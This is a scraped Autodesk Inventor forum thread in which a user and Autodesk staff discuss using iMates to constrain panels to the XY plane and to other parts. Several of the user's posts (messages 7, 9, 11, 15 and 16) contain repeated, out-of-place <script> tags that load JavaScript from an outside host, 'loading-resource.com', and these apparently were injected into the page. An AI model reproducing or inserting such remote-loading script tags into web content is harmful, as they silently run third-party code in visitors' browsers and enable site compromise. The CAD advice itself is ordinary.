Community
Inventor Forum
Welcome to Autodesk’s Inventor Forums. Share your knowledge, ask questions, and explore popular Inventor topics.
cancel
Showing results for 
Show  only  | Search instead for 
Did you mean: 

iMate

16 REPLIES 16
Reply
Message 1 of 17
j.vanderheijden
660 Views, 16 Replies

iMate

I have made panels where i placed iMates so i can place them together in a assy.

But when i select them in the assy they still removeble and they are not constrained.

Did i mis something?

Mvg Jos

Your drawings are only as good as the symbols that complete them...
Tags (1)
16 REPLIES 16
Message 2 of 17

When you insert the second part in the assembly, you can select interactive or automatic iMate constraint in the part open dialog. If I select automatic, they are constrained by the mate constraints you have created and they do not move. I have attached my example.

 

We have also detailed help materials about the usage of imates which can give you some additional information:

 

http://wikihelp.autodesk.com/Inventor/enu/2013/Help/1310-Autodesk1310/1655-Assembli1655/1656-Build_a...

 



Daniela Koloszko

Message 3 of 17

Thanks Daniela

I see what i did wrong.

Is there a way to place imates so my panel will constrain to the XY plane first by placing my panel in a assy.

I tried with workplanes in my part and assy but that isn't work.

Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 4 of 17

Hi! If XY plane mate is the first to be matched, you can open 700.ipt and reorder iMate "onderzijde" to the top and save. After that, the iMate should be the first to match. Could you try it and see if it works for you?

Thanks!

 



Johnson Shiue (johnson.shiue@autodesk.com)
Software Test Engineer
Message 5 of 17

I put the imate on top and create a workplane with imate in my assy with the same name but its not working.

When i toggle true the imates then there is not a match.

So the imate in the part can't find the imate in the assy.

Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 6 of 17

Hi! I don't think I understand your workflow correctly. Could you give me step by step what you did and what was not working?

Thanks!

 



Johnson Shiue (johnson.shiue@autodesk.com)
Software Test Engineer
Message 7 of 17

In the part 700.ipt whats in the topic there are four imates.

I dragged the imate 'onderzijde' to the top.

I open an assy and i place an workplane to the XY plane.

On that workplane i put an imate with the same name 'onderzijde'.

Then i place the part and want to constrain the imates 'onderzijde' together so that the first part would be constrained to the XY plane.

But when i place the part the imates don't recognize each other.

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 8 of 17

Hi! The iMate you created in the assembly would only be consumable or matchable if the assembly is placed in another assembly as a subassembly. So, it won't work.

Try this workflow instead.

1) Insert an occurrence of the iPart member to an assembly. It will be grounded by default.

2) Insert another occurence of the iPart member. Now the iMates should match. You can keep doing it repeatedly.

 

Could you try it and see if it works for you?

Thanks!

 



Johnson Shiue (johnson.shiue@autodesk.com)
Software Test Engineer
Message 9 of 17

I now that workflow but i don't want the part be grounded because i want to move the part but it has to keep constraint to the XY plane.

I have to constrain it to another part who is not 700.ipt.

After i have constrain it to that other part i place more parts of 700 and use the imates.

My intention is to have a part on the xy plane to place and then move freely to another part and constrain and then to place multiple parts with imates

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 10 of 17

Hi! The very first component you place in an assembly is always grounded. You have to manually unground it. Then, constraining to the XY plane in the top level assembly has to be done manually (you can select the iMate in the iPart when using Constraint command).

If you want an automated way, you might need to insert a dummy part which has an XY plane iMate first. Then insert the iPart member next.

Does it make sense?

Thanks!

 



Johnson Shiue (johnson.shiue@autodesk.com)
Software Test Engineer
Message 11 of 17

You mean i have to place an assy with that imate first.

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 12 of 17

Either a part or a subassembly will do. Basically, the target of iMate at the top level assembly is for iMate from another component when they are at the same level.



Johnson Shiue (johnson.shiue@autodesk.com)
Software Test Engineer
Message 13 of 17

I am working most of the time in Factory Design.

Isn't there a way to do something with the layout that is placed when you open a factory drawing.

I don't want to work with assets for my part 700.ipt

Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 14 of 17
jeff.pek
in reply to: j.vanderheijden

Hi Jos -

 

Just got involved here.

Can you expand on what you're thinking a bit to help me understand?

 

What do you mean by "Isnt't there a way to do something with the layout..."? 

When you place an asset (that has a landing surface) into a layout with floor snap on, it will automatically create a workplane on the floor, and constrain the component to that.

 

Jeff

Message 15 of 17
j.vanderheijden
in reply to: jeff.pek

Hi Jeff

Thanks for involved.

First, i don't use assets for some of my parts see topic:http://forums.autodesk.com/t5/Autodesk-Factory-Design-Suite/sketch-asset/td-p/3450242

But what i want to know is can i use the Landing Surface out side an asset?

I would like to do that in my part without publish my part to an asset.

But i think I have another solution.
The thing I want is the following.
I first place some 'HoofdBandRaster' parts.
These are normally geconstrained to another part but that's irrelevant here.
Then I place one or more 'BandrasterStandardPaneel' parts.
Now I would like to place the first panel which would be equal to the bottom of the bandraster, or to have the XY Plane.
Now I have made in both parts the same iMate, 'OnderKantBandraster'.
If I have a panel place I click to the site to accept but the panel takes another iMate of Bandraster and then right mouse click and select "Skip remaining iMate results' and the panel get past the last placed Bandraster placed with the underside geconstrained.
Now I can move freely but the panel bottom sides remain constraind.
Now I can place the following  constrain to  apply to the panel to the right side of the Bandraster to constrain.
Then I can place multiple panels.

So what is the story, i want the first placed panel constrained to the bottom of the BandRaster and then move the panel free but will be constrained to the bottom of the BandRaster and then constain one side of the panel to the site of the BandRaster.

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 16 of 17

I have another workflow.
I first place another part, Bandraster.
That part, Bandraster, is constrained on another part with imates.
Then I place the panel.
I now have a iMate created in part Panel.
This iMate is at the bottom in the browser and is equal to the iMate in Bandraster.
When I place my first panel it will use that imate and so the bottom will be constraind to the bottom of the Bandraster.
If I place a second panel it will constrain to the panel because there are more imates in the Panel.
The iMate equal to the bandraster will not be used.
Now I want place Panels on two sides of the Bandraster placed with imates.
If I then place the next panel I rmk and select 'Generate remaining imates results' and the iMate of the Bandraster is used.
Then I constrain the panel to the Bandraster and the bottom sides remain equal.
I can then randomly place panels and switch between imates of the panels with rmk and select 'Next iMate component'.

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
Mvg Jos

Your drawings are only as good as the symbols that complete them...
Message 17 of 17

I think I know what you are talking about. But, to be sure, it would be better if you can show me an example. iMate behaviors can be subtle sometimes. We can go round and round, if we are not talking about the same thing.

Thanks!

 



Johnson Shiue (johnson.shiue@autodesk.com)
Software Test Engineer

Can't find what you're looking for? Ask the community or share your knowledge.

Post to forums  

Autodesk Design & Make Report